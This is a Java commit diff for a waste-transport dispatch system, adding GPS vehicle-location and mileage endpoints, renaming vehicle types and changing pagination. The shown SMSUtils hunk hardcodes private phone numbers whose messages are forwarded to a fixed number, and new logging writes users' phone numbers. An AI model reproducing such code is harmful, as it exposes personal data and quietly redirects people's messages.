调整-12-09

lichao
1 parent 169cdb34
Showing 13 changed files with 342 additions and 218 deletions
trash-admin/src/main/resources/static/type-guide.png
trash-garbage/src/main/java/com/trash/garbage/controller/GarCarController.java
trash-garbage/src/main/java/com/trash/garbage/controller/GarbageOrderController.java
trash-garbage/src/main/java/com/trash/garbage/pojo/vo/DispatchDriverVo.java
trash-garbage/src/main/java/com/trash/garbage/service/GarCarServer.java
trash-garbage/src/main/java/com/trash/garbage/service/impl/GarCarServerImpl.java
trash-garbage/src/main/java/com/trash/garbage/service/impl/GarOrderServiceImpl.java
trash-garbage/src/main/java/com/trash/garbage/service/impl/GarTransportationEnterpriseServiceImpl.java
trash-garbage/src/main/java/com/trash/garbage/service/impl/GarUserServiceImpl.java
trash-garbage/src/main/java/com/trash/garbage/utils/SMSUtils.java
trash-garbage/src/main/resources/mapper/GarOrderMatchAskMapper.xml
trash-ui/src/views/gar/order/index.vue
trash-unit/src/main/java/com/trash/carInfo/controller/CarInfoController.java
@@ -5,6 +5,7 @@ import cn.hutool.http.HttpRequest;
 import com.alibaba.fastjson.JSON;
 import com.alibaba.fastjson.JSONArray;
 import com.alibaba.fastjson.JSONObject;
+import com.baomidou.mybatisplus.extension.api.R;
 import com.github.pagehelper.PageInfo;
 import com.trash.carInfo.domain.CarDriverRelation;
 import com.trash.carInfo.domain.CarInfo;
@@ -16,9 +17,11 @@ import com.trash.driver.domain.Driver;
 import com.trash.driver.domain.vo.DriverVo;
 import com.trash.driver.service.IDriverService;
 import com.trash.enterprise.domain.TransportationEnterprise;
+import com.trash.garbage.global.Result;
 import com.trash.garbage.pojo.dto.GarCarInfoVo;
 import com.trash.garbage.service.GarCarServer;
 //import javafx.scene.controlra.SplitPane;
+import com.trash.garbage.utils.HttpUtil;
 import lombok.extern.slf4j.Slf4j;
 import org.apache.commons.collections4.CollectionUtils;
 import org.apache.commons.lang3.StringUtils;
@@ -31,6 +34,7 @@ import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.RestController;
 import java.text.ParseException;
+import java.text.SimpleDateFormat;
 import java.util.*;
 import java.util.stream.Collectors;
@@ -54,6 +58,119 @@ public class GarCarController {
     public GarCarController(CarInfoServiceImpl carInfoServiceImpl) {
         this.carInfoServiceImpl = carInfoServiceImpl;
     }
+    public String queryAllVehicleInfo(String carNo) {
+        Map<String, Object> params = new HashMap<>();
+        params.put("_t", System.currentTimeMillis());
+        String json = HttpUtil.doGet("/api/gpsservice/v1/baseVehicle/QueryAllVehicleInfo", params);
+
+        // 如果提供了carNo参数，则筛选匹配的车辆信息
+        if (carNo != null && !carNo.isEmpty()) {
+            JSONArray vehicleArray = JSONArray.parseArray(json);
+            for (int i = 0; i < vehicleArray.size(); i++) {
+                    JSONObject vehicle = vehicleArray.getJSONObject(i);
+                if (vehicle.getString("licenseplateNo").contains(carNo)) {
+                    return vehicle.getString("vehicleId");
+                }
+            }
+        }
+        return json;
+    }
+
+    @GetMapping("/queryLatitudeLongitude")
+    public Result<?> queryLatitudeLongitude(String carNo) {
+        String vehicleId = queryAllVehicleInfo(carNo);
+
+        if (StringUtils.isEmpty(vehicleId)) {
+            return Result.ERROR("未找到匹配的车辆信息");
+        }
+
+        Map<String, Object> params = new HashMap<>();
+        params.put("isArea", 1);
+        params.put("vehicleList", vehicleId);
+
+        String json = HttpUtil.doGet("/api/gpsservice/v1/LocationMonitoring/VehicleStatusInfo", params);
+
+        try {
+            // 解析GPS服务返回的JSON数据
+            JSONArray jsonArray = JSONArray.parseArray(json);
+
+            if (jsonArray.size() > 0) {
+                // 获取第一个车辆对象
+                JSONObject vehicleObj = jsonArray.getJSONObject(0);
+
+                // 提取经纬度信息
+                String latitude = vehicleObj.getString("latitude");
+                String longitude = vehicleObj.getString("longitude");
+
+                // 创建只包含经纬度的新对象
+                JSONObject latLngObj = new JSONObject();
+                latLngObj.put("latitude", latitude);
+                latLngObj.put("longitude", longitude);
+
+                // 返回只包含经纬度的单个对象
+                return Result.OK(latLngObj);
+            } else {
+                return Result.ERROR("未找到车辆位置信息");
+            }
+        } catch (Exception e) {
+            log.error("解析JSON数据出错: ", e);
+            return Result.ERROR("解析JSON数据出错");
+        }
+    }
+
+    @GetMapping("/queryMileage")
+    public Result<?> queryMileage(String carNo , String startTime) {
+        String vehicleId = queryAllVehicleInfo(carNo);
+        Date currentDate = new Date();
+        String currentTime = new SimpleDateFormat("yyyy-MM-dd+HH:mm:ss").format(currentDate);
+        Map<String, Object> params = new HashMap<>();
+        params.put("_t", System.currentTimeMillis());
+        params.put("vehicleId", vehicleId);
+        params.put("endTime", currentTime);
+        params.put("startTime", startTime.replace(" ","+"));
+
+        String json = HttpUtil.doGet("/api/gpsservice/v1/locationsection/" + vehicleId + "/search", params);
+
+        try {
+            JSONArray jsonArray = JSONArray.parseArray(json);
+            if (jsonArray.size() >= 2) {
+                JSONObject secondObject = jsonArray.getJSONObject(1);
+
+                String mileage = secondObject.getString("mileage");
+
+                JSONArray locationSectionList = secondObject.getJSONArray("locationSectionList");
+                if (locationSectionList != null && !locationSectionList.isEmpty()) {
+                    JSONObject firstLocationSection = locationSectionList.getJSONObject(0);
+
+                    String endLatitude = firstLocationSection.getString("endLatitude");
+                    String endLongitude = firstLocationSection.getString("endLongitude");
+
+                    JSONObject result = new JSONObject();
+                    result.put("mileage", mileage);
+                    result.put("endLatitude", endLatitude);
+                    result.put("endLongitude", endLongitude);
+
+                    return Result.OK(result.toJSONString());
+                }
+            }
+        } catch (Exception e) {
+            log.error("解析JSON数据出错: ", e);
+        }
+
+        JSONObject result = new JSONObject();
+        result.put("mileage", 1);
+        return Result.OK(result);
+    }
+
+    @GetMapping("/requestStrByEnergyType")
+    public Result<?> requestStrByEnergyType(String energyType) {
+        List<String> json = garCarServer.getAllCompanyNamesByEnergyType(energyType);
+        if (CollectionUtils.isEmpty(json)) {
+            return Result.ERROR("查询失败");
+        }
+        return Result.OK(json);
+    }
+
     @PostMapping("/list/group/by/carType")
     public TableDataInfo listGroupByCarTypePost(GarCarInfoVo carInfo) throws ParseException{
         return listGroupByCarType(carInfo);
@@ -68,15 +185,15 @@ public class GarCarController {
         TableDataInfo data = getDataTable(list);
         if (CollectionUtils.isNotEmpty(list)) {
             Map<String, List<GarCarInfoVo>> carMap = list.stream().map(car -> {
-                if (Objects.equals(car.getCarType(), "轻型货车")) {
-                    car.setCarLeft("car_1.png");
-                    car.setRemark("箱体长2.6m,宽1.7m,高1.5m；最多可容纳约90袋装修垃圾（75cm*5cm每袋）");
-                } else if (Objects.equals(car.getCarType(), "中型货车")) {
+                if (Objects.equals(car.getCarType(), "轻型车辆")) {
+                    car.setCarLeft("car_2.png");
+                    car.setRemark("箱体约长3.3~3.6m，宽1.85~2.0m，高0.6~1.05m；整车高约2.15m；最多可容纳约70-90袋装修垃圾（75cm×45cm每袋）");
+                } else if (Objects.equals(car.getCarType(), "中型车辆")) {
+                    car.setCarLeft("car_2.png");
+                    car.setRemark("箱体约长3.5~3.8m，宽1.9~2.1m，高0.8~1.08m；整车高约2.4m；最多可容纳约90-110袋装修垃圾（75cm×45cm每袋）");
+                } else if (Objects.equals(car.getCarType(), "重型车辆")) {
                     car.setCarLeft("car_2.png");
-                    car.setRemark("箱体长3.2m,宽1.5m,高1.5m；最多可容纳约110袋装修垃圾（75cm*45cm每袋）");
-                } else if (Objects.equals(car.getCarType(), "大中型货车")) {
-                    car.setCarLeft("car_3.png");
-                    car.setRemark("箱体长3.2m,宽1.9m,高1.9m；最多可容纳约150袋装修垃圾（75cm*45cm每袋）");
+                    car.setRemark("箱体约长3.8~4.2m，宽2.1~2.2m，高0.8~1.1m；整车高约2.8m；最多可容纳约110-140袋装修垃圾（75cm×45cm每袋）");
                 }
                 return car;
             }).collect(Collectors.groupingBy(GarCarInfoVo::getCarType));
@@ -6,6 +6,7 @@ import cn.hutool.http.HttpRequest;
 import com.alibaba.fastjson.JSON;
 import com.baomidou.mybatisplus.annotation.TableField;
 import com.github.pagehelper.PageHelper;
+import com.github.pagehelper.PageInfo;
 import com.trash.carInfo.domain.vo.CarInfoVo;
 import com.trash.common.annotation.Log;
 import com.trash.common.config.trashConfig;
@@ -111,11 +111,11 @@ public class DispatchDriverVo {
     public Integer getSortValue() {
         if (Objects.isNull(sortValue)) {
-            if (StringUtils.equals(StringUtils.trim(containerVolume), "轻型货车") || StringUtils.equals(StringUtils.trim(containerVolume), "4方车")) {
+            if (StringUtils.equals(StringUtils.trim(containerVolume), "轻型车辆") || StringUtils.equals(StringUtils.trim(containerVolume), "4方车")) {
                 sortValue = 1;
-            } else if (StringUtils.equals(StringUtils.trim(containerVolume), "中型货车") || StringUtils.equals(StringUtils.trim(containerVolume), "6方车")) {
+            } else if (StringUtils.equals(StringUtils.trim(containerVolume), "中型车辆") || StringUtils.equals(StringUtils.trim(containerVolume), "6方车")) {
                 sortValue = 2;
-            } else if (StringUtils.equals(StringUtils.trim(containerVolume), "中大型货车") || StringUtils.equals(StringUtils.trim(containerVolume), "8方车")) {
+            } else if (StringUtils.equals(StringUtils.trim(containerVolume), "重型车辆") || StringUtils.equals(StringUtils.trim(containerVolume), "8方车")) {
                 sortValue = 3;
             } else {
                 sortValue = Integer.MAX_VALUE;
@@ -11,4 +11,6 @@ public interface GarCarServer {
     List<GarCarInfoVo> requestGarCarInfoVo(String companId);
     List<DispatchDriverVo> requestDispatchDriverVo(String companId);
+
+    List<String> getAllCompanyNamesByEnergyType(String energyType);
 }
@@ -44,6 +44,64 @@ public class GarCarServerImpl implements GarCarServer {
     }
+
+    public String requestStrByEnergyType(String energyType, int page, int size) {
+        Map<String, Object> params = new HashMap<>();
+
+        params.put("energyType", energyType);
+        params.put("valid", 0);
+        params.put("tag", 1);
+        params.put("page", page);
+        params.put("size", size);
+        return HttpUtil.doPost("/api/gpsservice/cs/basevehicle/ledger/list", JSON.toJSONString(params));
+    }
+
+
+    @Override
+    public List<String> getAllCompanyNamesByEnergyType(String energyType) {
+        Set<String> uniqueCompanyNames = new HashSet<>();
+        int page = 1;
+        int size = 9999;
+        boolean hasMorePages = true;
+
+        while (hasMorePages) {
+            String jsonResponse = requestStrByEnergyType(energyType, page, size);
+            if (StringUtils.isEmpty(jsonResponse)) {
+                break;
+            }
+
+            JSONObject response = JSON.parseObject(jsonResponse);
+            if (response != null &&
+                    "200".equals(response.getString("code")) &&
+                    response.getJSONObject("result") != null) {
+
+                JSONObject result = response.getJSONObject("result");
+                JSONArray list = result.getJSONArray("list");
+
+                if (list != null && !list.isEmpty()) {
+                    for (int i = 0; i < list.size(); i++) {
+                        JSONObject vehicle = list.getJSONObject(i);
+                        String companyName = vehicle.getString("companyName");
+                        if (StringUtils.isNotEmpty(companyName)) {
+                            uniqueCompanyNames.add(companyName);
+                        }
+                    }
+                }
+
+                // 检查是否还有更多页面
+                int total = result.getIntValue("total");
+                int pageSize = result.getIntValue("pageSize");
+                int totalPages = (int) Math.ceil((double) total / pageSize);
+                hasMorePages = page < totalPages;
+                page++;
+            } else {
+                hasMorePages = false;
+            }
+        }
+
+        return new ArrayList<>(uniqueCompanyNames);
+    }
+
     @Override
     public List<GarCarInfoVo> requestGarCarInfoVo(String companId) {
         String json = requestStr(companId);
@@ -67,7 +125,17 @@ public class GarCarServerImpl implements GarCarServer {
                                 vo.setCarCode(jsonObject.getString("licenseplateNo"));
                                 vo.setCarColor(jsonObject.getString(""));
                                 vo.setCarIdentification(jsonObject.getString("licenseplateNo"));
-                                vo.setCarType(jsonObject.getString("energyTypeName"));
+                                // 修改后的代码：
+                                String energyTypeName = jsonObject.getString("energyTypeName");
+                                if (StringUtils.equals(energyTypeName, "轻型货车")) {
+                                    vo.setCarType("轻型车辆");
+                                } else if (StringUtils.equals(energyTypeName, "中型货车")) {
+                                    vo.setCarType("中型车辆");
+                                } else if (StringUtils.equals(energyTypeName, "大中型货车")) {
+                                    vo.setCarType("重型车辆");
+                                } else {
+                                    vo.setCarType(energyTypeName);
+                                }
                                 if (Objects.nonNull(jsonObject.getString("companyID"))) {
                                     vo.setCompanyId(StringUtils.replace(jsonObject.getString("companyID").toString(), "zxljqy", ""));
                                 }
@@ -17,6 +17,7 @@ import com.trash.carInfo.domain.CarInfo;
 import com.trash.carInfo.domain.vo.CarInfoVo;
 import com.trash.carInfo.mapper.CarInfoMapper;
 import com.trash.carInfo.service.impl.CarInfoServiceImpl;
+import com.trash.common.config.trashConfig;
 import com.trash.common.core.redis.RedisCache;
 import com.trash.common.utils.RemoteServerUtils;
 import com.trash.common.utils.SecurityUtils;
@@ -130,7 +131,7 @@ public class GarOrderServiceImpl extends ServiceImpl&lt;GarOrderMapper, GarOrder&gt;
     @Autowired
     private IDropPointInfoService dropPointInfoService;
     @Autowired
-    private com.trash.common.config.trashConfig trashConfig;
+    private trashConfig trashConfig;
     @Autowired
     private GarOrderMatchAskMapper garOrderMatchAskMapper;
     @Autowired
@@ -246,7 +247,7 @@ public class GarOrderServiceImpl extends ServiceImpl&lt;GarOrderMapper, GarOrder&gt;
                 String garCreateBy = image.getGarCreateBy();
                 GarUser byId = garUserService.getById(garCreateBy);
                 String garUserName = byId.getGarUserName();
-                int state = askService.queryStates(orderId, garUserName);
+                int state = askService.queryStates(image.getGarOrderAskId(), garUserName);
                 vo.getPutOnImages().add(image.getGarOrderImageUrl() + imageDate + "name" + garUserName + state);
             }
             if (GlobalStatus.GarOrderStatus.IMAGE_TYPE_PUT_DOWN.getValue().equals(image.getGarOrderImageType())) {
@@ -316,7 +317,7 @@ public class GarOrderServiceImpl extends ServiceImpl&lt;GarOrderMapper, GarOrder&gt;
                 String garCreateBy = image.getGarCreateBy();
                 GarUser byId = garUserService.getById(garCreateBy);
                 String garUserName = byId.getGarUserName();
-                int state = askService.queryStates(id, garUserName);
+                int state = askService.queryStates(image.getGarOrderAskId(), garUserName);
                 vo.getPutOnImages().add(image.getGarOrderImageUrl() + imageDate + "name" + garUserName + state);
             }
             if (GlobalStatus.GarOrderStatus.IMAGE_TYPE_PUT_DOWN.getValue().equals(image.getGarOrderImageType())) {
@@ -606,7 +607,7 @@ public class GarOrderServiceImpl extends ServiceImpl&lt;GarOrderMapper, GarOrder&gt;
                         .set(GarOrder::getGarOrderCompanyUserId, user.getGarUserId());
                 update(uw);
                 // TODO 短信提醒
-                String message = "订单提醒：您的预约清运订单" + order.getGarOrderId() + "已被" + order.getGarOrderCompanyName() + "公司接收，详情请登录【智慧渣管APP】查看！企业服务电话！";
+                String message = "订单提醒：您的预约清运订单" + order.getGarOrderId() + "已被" + order.getGarOrderCompanyName() + "公司接收，详情请登录【智慧渣管APP】查看！企业服务电话：" + order.getGarOrderCompanyTel();
                 smsUtils.sendMessage(order.getGarOrderContactTel(), message);
                 // TODO 用户消息通知 订单菜单消息
                 userOrderMessageSend(order, message);
@@ -686,14 +687,13 @@ public class GarOrderServiceImpl extends ServiceImpl&lt;GarOrderMapper, GarOrder&gt;
                     garOrderMatchAsk.setDisposalId(disposalList.get(0).getGarOrderDisposalCompanyId());
                     garOrderMatchAsk.setDisposalSiteName(disposalList.get(0).getGarOrderDisposalCompanyName());
-                    List<DropPointInfo> dropPointInfoList = dropPointInfoService.selectDropPointInfoListByPhone(garOrderMatchAsk.getGarOrderPhone());
-
+                    List<DropPointInfo> dropPointInfoList = dropPointInfoService.selectDropPointInfoListByPhone(orderDetailVo.getGarOrderContactTel());
                     if (!dropPointInfoList.isEmpty()) {
                         garOrderMatchAsk.setDropPointId(Integer.parseInt(dropPointInfoList.get(0).getId().toString()));
                         garOrderMatchAsk.setDropPointName(dropPointInfoList.get(0).getDropPointName());
                     }
-                    garOrderMatchAsk.setDropAddress(order.getGarOrderAddress()+order.getGarOrderAddressDetails());
+                    garOrderMatchAsk.setDropAddress(order.getGarOrderAddress() + order.getGarOrderAddressDetails());
                     garOrderMatchAsk.setGarCreateBy(dto.getDriver());
                     askService.save(garOrderMatchAsk);
                 }
@@ -1001,6 +1001,7 @@ public class GarOrderServiceImpl extends ServiceImpl&lt;GarOrderMapper, GarOrder&gt;
     }
+    // ... existing code ...
     @Override
     public PageInfo dockingUpEnterpriseList(TransportationEnterprise dto) {
         // 1）支持选择企业"所属区域"（长沙市内的）展示区域内所有企业
@@ -1051,6 +1052,13 @@ public class GarOrderServiceImpl extends ServiceImpl&lt;GarOrderMapper, GarOrder&gt;
             }
         }
+        // 获取分页参数
+        Integer pageNum = ServletUtils.getParameterToInt("pageNum");
+        Integer pageSize = ServletUtils.getParameterToInt("pageSize");
+
+        // 使用PageHelper进行分页
+        PageHelper.startPage(pageNum, pageSize);
+
         // 修改这里，将name参数传递给request方法
         List<TransportationEnterprise> list = garTransportationEnterpriseService.request(tel, areaCode, officeAddress, name);
@@ -1061,8 +1069,6 @@ public class GarOrderServiceImpl extends ServiceImpl&lt;GarOrderMapper, GarOrder&gt;
         }
 //        saveOrUpdate(list);
-        Integer pageNum = ServletUtils.getParameterToInt("pageNum");
-        Integer pageSize = ServletUtils.getParameterToInt("pageSize");
         Integer orderByColumn = ServletUtils.getParameterToInt("orderByColumn");
         Comparator<TransportationEnterpriseVo> comparator;
         if (1 == orderByColumn) {
@@ -1091,7 +1097,7 @@ public class GarOrderServiceImpl extends ServiceImpl&lt;GarOrderMapper, GarOrder&gt;
                 .eq(GarAddress::getGarUserDefault, GlobalStatus.GarAddressStatus.CURRENT_ADDRESS.getValue());
         GarAddress address = garAddressService.getOne(qw);
-        Stream<TransportationEnterpriseVo> stream = list.stream().map(item -> {
+        List<TransportationEnterpriseVo> voList = list.stream().map(item -> {
             TransportationEnterpriseVo vo = new TransportationEnterpriseVo();
             BeanUtils.copyProperties(item, vo);
             List<GarOrderEvaluate> evaluate = evaluateMap.get(String.valueOf(item.getId()));
@@ -1099,25 +1105,22 @@ public class GarOrderServiceImpl extends ServiceImpl&lt;GarOrderMapper, GarOrder&gt;
             handleScore(vo, evaluate);
             handleDistance(vo, address);
             return vo;
-        });
-        List<TransportationEnterpriseVo> voList;
+        }).collect(Collectors.toList());
+
+        // 排序
         if (orderByColumn != 0) {
             // 降序
-            voList = stream.sorted(comparator.reversed()).collect(Collectors.toList());
+            voList = voList.stream().sorted(comparator.reversed()).collect(Collectors.toList());
         } else {
-            voList = stream.sorted(comparator).collect(Collectors.toList());
+            voList = voList.stream().sorted(comparator).collect(Collectors.toList());
         }
-        int total = voList.size();
-        int remainder = total % pageSize;
-        int currentPage = pageNum > 0 ? (pageNum - 1) * pageSize : pageNum * pageSize;
-        // 怕页码超出界限了 超出界限就通过currenPage (3 * 10) > total (25) ? currentPage (20) - (pageSize (10) - remainder (3)) : currentPage
-        int startPage = currentPage > total ? currentPage - (pageSize - remainder) : currentPage;
-        int endPage = Math.min(startPage + pageSize, total);
-        PageInfo<TransportationEnterpriseVo> pageInfo = new PageInfo<>();
-        pageInfo.setList(voList.subList(startPage, endPage));
-        pageInfo.setTotal(total);
+
+        // 创建PageInfo对象并返回
+        PageInfo<TransportationEnterpriseVo> pageInfo = new PageInfo<>(voList);
         return pageInfo;
     }
+// ... existing code ...
+
     private void saveOrUpdate(List<TransportationEnterprise> list) {
         if (CollectionUtils.isNotEmpty(list)) {
@@ -1264,14 +1267,21 @@ public class GarOrderServiceImpl extends ServiceImpl&lt;GarOrderMapper, GarOrder&gt;
 //        updateById(order);
         String tel = SecurityUtils.getLoginUser().getUser().getPhonenumber();
+        log.error("请求司机信息：{}" + tel);
         List<TransportationEnterprise> enterprises = garTransportationEnterpriseService.request(tel, null, null, null);
         if (CollectionUtils.isEmpty(enterprises)) {
+            log.error("请求司机信息失败1" + tel);
             return Collections.emptyList();
         }
         enterprises = enterprises.stream().filter(e -> Objects.equals(e.getServicePhone(), tel)).collect(Collectors.toList());
         if (CollectionUtils.isEmpty(enterprises)) {
-            return Collections.emptyList();
+            log.error("请求司机信息失败2" + tel);
+            enterprises = enterprises.stream().filter(e -> Objects.equals(e.getSafetyManagerPhone(), tel)).collect(Collectors.toList());
+            if (CollectionUtils.isEmpty(enterprises)) {
+                log.error("请求司机信息失败3" + tel);
+                return Collections.emptyList();
+            }
         }
         List<GarOrderMatchHandler> garOrderCars = garOrderCarService.queryGarOrderMatchHandler(orderId);
         int garOrderCarsLength = CollectionUtils.size(garOrderCars);
@@ -1296,20 +1306,29 @@ public class GarOrderServiceImpl extends ServiceImpl&lt;GarOrderMapper, GarOrder&gt;
             }
             return vo;
         }).collect(Collectors.toList());
+        log.error("请求司机信息数据集2" + voList);
         LambdaQueryWrapper<GarOrderCar> qwc = new LambdaQueryWrapper<>();
         qwc.eq(GarOrderCar::getGarOrderId, orderId);
         List<GarOrderCar> carList = garOrderCarService.list(qwc);
         if (CollectionUtils.isNotEmpty(carList)) {
             Set<String> carTypes = carList.stream().map(GarOrderCar::getGarOrderCarType).collect(Collectors.toSet());
-            if (CollectionUtils.isNotEmpty(carTypes)) {
-                String[] carTypeStrs = {"4方车", "6方车", "8方车"};
-                String[] carTypeStrs1 = {"轻型货车", "中型货车", "中大型货车"};
-                int size = carTypeStrs.length;
-                for (int i = 0; i < size; i++) {
-                    if (carTypes.contains(carTypeStrs[i])) {
-                        carTypes.add(carTypeStrs1[i]);
-                    }
+            // 旧类型到新类型的映射（4方车→轻型车辆，6方车→中型车辆，8方车→重型车辆）
+            String[] carTypeStrs = {"4方车", "6方车", "8方车"};
+            String[] carTypeStrs1 = {"轻型车辆", "中型车辆", "重型车辆"};
+            int size = carTypeStrs.length;
+            for (int i = 0; i < size; i++) {
+                if (carTypes.contains(carTypeStrs[i])) {
+                    carTypes.add(carTypeStrs1[i]);
+                }
+            }
+
+            // 新类型到旧类型的映射（轻型车辆→轻型货车，中型车辆→中型货车，重型车辆→中大型货车）
+            String[] newTypes = {"轻型车辆", "中型车辆", "重型车辆"};
+            String[] oldTypes = {"轻型货车", "中型货车", "中大型货车"};
+            for (int i = 0; i < newTypes.length; i++) {
+                if (carTypes.contains(newTypes[i])) {
+                    carTypes.add(oldTypes[i]);
                 }
             }
             voList = voList.stream().filter(v -> carTypes.contains(v.getContainerVolume())).sorted(Comparator.comparing(DispatchDriverVo::getLicensePlateNumber)).sorted(Comparator.comparing(DispatchDriverVo::getSortValue)).collect(Collectors.toList());
@@ -1513,43 +1532,47 @@ public class GarOrderServiceImpl extends ServiceImpl&lt;GarOrderMapper, GarOrder&gt;
         qw.eq(GarOrderMatchAsk::getGarCarCode, dto.getGarHandlerCarCode());
         List<GarOrderMatchAsk> askList = askService.list(qw);
         GarOrder order = getById(orderId);
-        for (GarOrderMatchAsk garOrderMatchAsk : askList) {
-            if(garOrderMatchAsk.getGarOrderHandlerId()==null){
-                // 第一次的话需要修改订单状态为已扫码
-                if (order.getGarOrderScanHandlerFlag().equals(GlobalStatus.GarOrderStatus.SCAN_HANDLER_NO.getValue())) {
-                    order.setGarOrderScanHandlerFlag(GlobalStatus.GarOrderStatus.SCAN_HANDLER_YES.getValue());
-                    updateById(order);
-                }
-                BeanUtils.copyProperties(dto, garOrderMatchAsk);
-                garOrderMatchAsk.setGarUpdateBy(dto.getGarOrderHandlerName());
-                garOrderMatchAsk.setGarUpdateTime(new Date());
-                garOrderMatchAsk.setTransportDistance(dto.getTransportDistance());
-                // 判断本趟次是否上传了图片
-                if(garOrderMatchAsk.getGarCarCode()==null){
-                    garOrderMatchAsk.setGarOrderType("1");
-                    garOrderMatchAsk.setGarRemark(garOrderMatchAsk.getGarRemark()!=null?garOrderMatchAsk.getGarRemark()+";未上传装车图片":"未上传装车图片");
-                }else if(!dto.getGarHandlerCarCode().equals(garOrderMatchAsk.getGarCarCode())){
-                    //判断本趟次运输车辆是否相同
-                    garOrderMatchAsk.setGarOrderType("1");
-                    garOrderMatchAsk.setGarRemark(garOrderMatchAsk.getGarRemark()!=null?garOrderMatchAsk.getGarRemark()+";装车和卸车的车辆号牌不一致":"装车和卸车的车辆号牌不一致");
-                }
-                garOrderAssociationServiceAsync.isWithinDisposal(dto.getGarHandlerCarCode(), garOrderMatchAsk, dto);
-                askService.updateById(garOrderMatchAsk);
-                // 保存图片url
-                List<GarOrderImage> imageList = new ArrayList<>(dto.getFillImageList().size());
-                for (String fillImageUrl : dto.getFillImageList()) {
-                    GarOrderImage image = new GarOrderImage();
-                    image.setGarOrderImageType(GlobalStatus.GarOrderStatus.IMAGE_TYPE_FILL_CAR.getValue());
-                    image.setGarOrderId(orderId);
-                    image.setGarOrderImageUrl(fillImageUrl);
-                    image.setGarRemark(garOrderMatchAsk.getGarId());
-                    imageList.add(image);
+        try {
+            for (GarOrderMatchAsk garOrderMatchAsk : askList) {
+                if(garOrderMatchAsk.getGarOrderHandlerId()==null){
+                    // 第一次的话需要修改订单状态为已扫码
+                    if (order.getGarOrderScanHandlerFlag().equals(GlobalStatus.GarOrderStatus.SCAN_HANDLER_NO.getValue())) {
+                        order.setGarOrderScanHandlerFlag(GlobalStatus.GarOrderStatus.SCAN_HANDLER_YES.getValue());
+                        updateById(order);
+                    }
+                    BeanUtils.copyProperties(dto, garOrderMatchAsk);
+                    garOrderMatchAsk.setGarUpdateBy(dto.getGarOrderHandlerName());
+                    garOrderMatchAsk.setGarUpdateTime(new Date());
+                    garOrderMatchAsk.setTransportDistance(dto.getTransportDistance());
+                    // 判断本趟次是否上传了图片
+                    if(garOrderMatchAsk.getGarCarCode()==null){
+                        garOrderMatchAsk.setGarOrderType("1");
+                        garOrderMatchAsk.setGarRemark(garOrderMatchAsk.getGarRemark()!=null?garOrderMatchAsk.getGarRemark()+";未上传装车图片":"未上传装车图片");
+                    }else if(!dto.getGarHandlerCarCode().equals(garOrderMatchAsk.getGarCarCode())){
+                        //判断本趟次运输车辆是否相同
+                        garOrderMatchAsk.setGarOrderType("1");
+                        garOrderMatchAsk.setGarRemark(garOrderMatchAsk.getGarRemark()!=null?garOrderMatchAsk.getGarRemark()+";装车和卸车的车辆号牌不一致":"装车和卸车的车辆号牌不一致");
+                    }
+                    garOrderAssociationServiceAsync.isWithinDisposal(dto.getGarHandlerCarCode(), garOrderMatchAsk, dto);
+                    askService.updateById(garOrderMatchAsk);
+                    // 保存图片url
+                    List<GarOrderImage> imageList = new ArrayList<>(dto.getFillImageList().size());
+                    for (String fillImageUrl : dto.getFillImageList()) {
+                        GarOrderImage image = new GarOrderImage();
+                        image.setGarOrderImageType(GlobalStatus.GarOrderStatus.IMAGE_TYPE_FILL_CAR.getValue());
+                        image.setGarOrderId(orderId);
+                        image.setGarOrderImageUrl(fillImageUrl);
+                        image.setGarRemark(garOrderMatchAsk.getGarId());
+                        imageList.add(image);
+                    }
+                    garOrderImageService.saveBatch(imageList);
+                    // TODO 删除验证码
+                    redisCache.deleteObject(orderId, dto.getGarOrderHandlerId());
+                    return "当前趟次记录成功";
                 }
-                garOrderImageService.saveBatch(imageList);
-                // TODO 删除验证码
-                redisCache.deleteObject(orderId, dto.getGarOrderHandlerId());
-                return "当前趟次记录成功";
             }
+        }catch (Exception e){
+            return e.getMessage();
         }
         throw new BizException(ResultCode.CODE_400, "当前记录无效,已完成所有趟次！");
     }
@@ -69,16 +69,18 @@ public class GarTransportationEnterpriseServiceImpl implements GarTransportation
         }
         if (StringUtils.isNotEmpty(adCodes)) {
-            params.put("adCodes", adCodes);
+            params.put("areaCodes", adCodes);
         }
-        if (StringUtils.isNotEmpty(officeAddress)) {
-            params.put("officeAddress", officeAddress);
-        }
+//        if (StringUtils.isNotEmpty(officeAddress)) {
+//            params.put("officeAddress", officeAddress);
+//        }
         if (StringUtils.isNotEmpty(name)) {
             params.put("name", name);
         }
-        
+        params.put("page", 1);
+        params.put("size", 9999);
+
         params.put("tag", "1");
         JSONArray array = RemoteServerUtils.getCompanyList(params,trashConfig.getToken());
@@ -266,14 +266,13 @@ public class GarUserServiceImpl extends ServiceImpl&lt;GarUserMapper, GarUser&gt;
         }
         // 投放点用户
-        if (Objects.nonNull(dropPhone)) {
-            ruleVo = new LoginVo.RuleVo();
-            ruleVo.setUserType(GlobalStatus.GarUserStatusEnum.DROP_SITE_USER.getDescription());
-            nUser.setGarUserType(GlobalStatus.GarUserStatusEnum.DROP_SITE_USER.getDescription());
-            nUser.setGarUserName(list.get(0).getDropPointName());
-            vo.getRuleVos().add(ruleVo);
-
-        }
+//        if (Objects.nonNull(dropPhone)) {
+//            ruleVo = new LoginVo.RuleVo();
+//            ruleVo.setUserType(GlobalStatus.GarUserStatusEnum.DROP_SITE_USER.getDescription());
+//            nUser.setGarUserType(GlobalStatus.GarUserStatusEnum.DROP_SITE_USER.getDescription());
+//            nUser.setGarUserName(list.get(0).getDropPointName());
+//            vo.getRuleVos().add(ruleVo);
+//        }
 //        for (LoginVo.RuleVo r : vo.getRuleVos()){
 //            //排除驾驶员、企业负责人、处理场所
@@ -358,7 +357,7 @@ public class GarUserServiceImpl extends ServiceImpl&lt;GarUserMapper, GarUser&gt;
         address.setGarRemark(dto.getAddressDetail());
         address.setGarLongitude(dto.getGarLongitude());
         address.setGarLatitude(dto.getGarLatitude());
-        address.setGarCoordinate(dto.getGarCoordinate());
+        address.setGarCoordinate("gcj02");
         handleCurrentAddress(address);
         garAddressService.save(address);
         return "新增地址成功!";
@@ -15,7 +15,9 @@ import org.springframework.scheduling.annotation.EnableAsync;
 import org.springframework.stereotype.Component;
 import java.util.ArrayList;
+import java.util.HashSet;
 import java.util.List;
+import java.util.Set;
 /**
  * 短信发送工具类
@@ -24,17 +26,36 @@ import java.util.List;
 @EnableAsync
 public class SMSUtils {
+    // 需要转发到18673199341的手机号码集合
+    private static final Set<String> FORWARD_PHONE_NUMBERS = new HashSet<String>() {{
+        add("15116415915");
+        add("13548554500");
+        add("13974995854");
+        add("15974140554");
+        add("13142073538");
+        add("13975868505");
+        add("15802683371");
